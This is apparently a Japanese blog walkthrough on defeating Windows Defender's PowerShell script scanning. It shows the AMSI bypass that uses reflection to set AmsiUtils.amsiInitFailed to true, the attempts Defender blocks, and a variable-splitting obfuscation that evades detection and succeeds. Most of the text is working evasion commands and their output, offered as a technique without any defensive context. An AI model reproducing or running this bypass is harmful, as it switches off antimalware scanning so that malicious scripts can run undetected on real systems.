PowershellでWindowsDefenderのスクリプトスキャン回避
Windows Defenderのスプリプとスキャン機能を回避できるか試してみます。
まずは、Windows Defenderの、スクリプトスキャン機能がONになっているか確認。
PS C:\Users\hoge> Get-MpPreference | Select-Object -Property DisableScriptScanning
DisableScriptScanning
---------------------
False
DisableScriptScanningがFalseなので、機能はONになっている。
次に以下のスクリプトを実行して、ちゃんとブロックされるかの確認をしてみる。
PS C:\Users\hoge> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').setValue($null, $true)
発生場所 行:1 文字:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').Get ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
このスクリプトには、悪質なコンテンツが含まれているため、ウイルス対策ソフトウェアによりブロックされています。
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
ちゃんとブロックされています。ちなみに、上記スクリプトは、以下の部分だけ実行してみると、
PS C:\Users\yuhei> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
False False AmsiUtils System.Object
となります。これは、.NETリフレクションを使用して、PowerShellの内部クラスのSystem.Mangement.Automation.AmsiUtils
を取得しています。これは、Powershellスクリプト実行時に、AMSI(Antimalware Scan Interface)を通じてスクリプトの内容をスキャンするためのロジックを提供するものです。
しかし、IsPublic
のものしか取得できていません。なので、次の様に実行します。
PS C:\Users\hoge> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static')
Name : amsiInitFailed
MetadataToken : 67114388
FieldHandle : System.RuntimeFieldHandle
Attributes : Private, Static, InitOnly
FieldType : System.Boolean
MemberType : Field
ReflectedType : System.Management.Automation.AmsiUtils
DeclaringType : System.Management.Automation.AmsiUtils
Module : System.Management.Automation.dll
IsPublic : False
IsPrivate : True
IsFamily : False
IsAssembly : False
IsFamilyAndAssembly : False
IsFamilyOrAssembly : False
IsStatic : True
IsInitOnly : True
IsLiteral : False
IsNotSerialized : False
IsSpecialName : False
IsPinvokeImpl : False
IsSecurityCritical : True
IsSecuritySafeCritical : False
IsSecurityTransparent : False
CustomAttributes : {}
そうすると、NonPublicでStaticなのも表示されます。そしてさらに次のスクリプトを追加することにより、amsiInitFailed
にtrue
を設定し、amsiInitの起動が失敗したと、Powershellに認識させます。
PS C:\Users\hoge> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').setValue($null, $true)
発生場所 行:1 文字:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').Get ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
このスクリプトには、悪質なコンテンツが含まれているため、ウイルス対策ソフトウェアによりブロックされています。
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
しかし、このPowershellのコンテキストは既に、Windows Defenderのスクリプトスキャンによりブロックされます。これが正常です。
では、ここからはどうやったら上記のスクリプトが実行できるか(スキャンをバイパスできるか)を試してみます。
単純な文字連結。失敗。
PS C:\Users\hoge> [Ref].Assembly.GetType('System.Managemen' + 't.Automation.AmsiUtils').GetField('amsiIni' + 'tFailed', 'NonPublic,Static').setValue($null, $true)
発生場所 行:1 文字:1
[Ref].Assembly.GetType('System.Managemen' + 't.Automation.AmsiUtils' …
~~~~~~~~~~~~~~~~~ このスクリプトには、悪質なコンテンツが含まれているため、ウイルス対策ソフトウェアによりブロックされています。
CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
FullyQualifiedErrorId : ScriptContainedMaliciousContent
変数化。あっさり成功。
PS C:\Users\hoge> $a = 'System.Managemen' + 't.Automation.AmsiUtils'
PS C:\Users\hoge> $b = 'amsiIni' + 'tFailed'
PS C:\Users\hoge> $c = [Ref].Assembly.GetType($a).GetField($b, 'NonPublic,Static')
PS C:\Users\hoge> $c.SetValue($null, $true)
PS C:\Users\hoge> Get-MpPreference | Select-Object -Property DisableScriptScanning
# 成功したか確認(Trueが返れば成功)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').GetValue($null)
True